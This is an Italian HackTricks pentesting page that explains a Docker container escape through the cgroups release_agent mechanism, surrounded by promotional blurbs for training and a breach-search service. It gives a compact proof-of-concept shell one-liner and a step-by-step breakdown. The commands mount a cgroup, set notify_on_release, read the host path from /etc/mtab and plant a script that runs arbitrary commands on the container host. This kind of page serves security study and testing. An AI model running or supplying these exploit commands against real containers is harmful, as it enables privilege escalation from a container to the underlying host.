Docker release_agent cgroups escape

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale è contrastare le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:


Per ulteriori dettagli, consulta il post del blog originale. Questo è solo un riassunto:

PoC originale:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

Il proof of concept (PoC) dimostra un metodo per sfruttare i cgroups creando un file release_agent e attivandone l'invocazione per eseguire comandi arbitrari sull'host del contenitore. Ecco una panoramica dei passaggi coinvolti:

  1. Preparare l'Ambiente:

  • Viene creato un directory /tmp/cgrp per fungere da punto di mount per il cgroup.

  • Il controller cgroup RDMA viene montato su questa directory. In caso di assenza del controller RDMA, si consiglia di utilizzare il controller cgroup memory come alternativa.

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. Imposta il Cgroup Figlio:

    • Viene creato un cgroup figlio chiamato "x" all'interno della directory cgroup montata.

    • Le notifiche vengono abilitate per il cgroup "x" scrivendo 1 nel suo file notify_on_release.

echo 1 > /tmp/cgrp/x/notify_on_release
  1. Configurare l'Agente di Rilascio:

  • Il percorso del contenitore sull'host viene ottenuto dal file /etc/mtab.

  • Il file release_agent del cgroup viene quindi configurato per eseguire uno script di nome /cmd situato nel percorso dell'host acquisito.

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. Creare e Configurare lo Script /cmd:

  • Lo script /cmd viene creato all'interno del container e viene configurato per eseguire ps aux, reindirizzando l'output in un file chiamato /output nel container. Viene specificato il percorso completo di /output sull'host.

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. Innesca l'Attacco:

  • Viene avviato un processo all'interno del cgroup figlio "x" e viene immediatamente terminato.

  • Questo attiva il release_agent (lo script /cmd), che esegue ps aux sull'host e scrive l'output su /output all'interno del container.

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale è combattere i takeover di account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated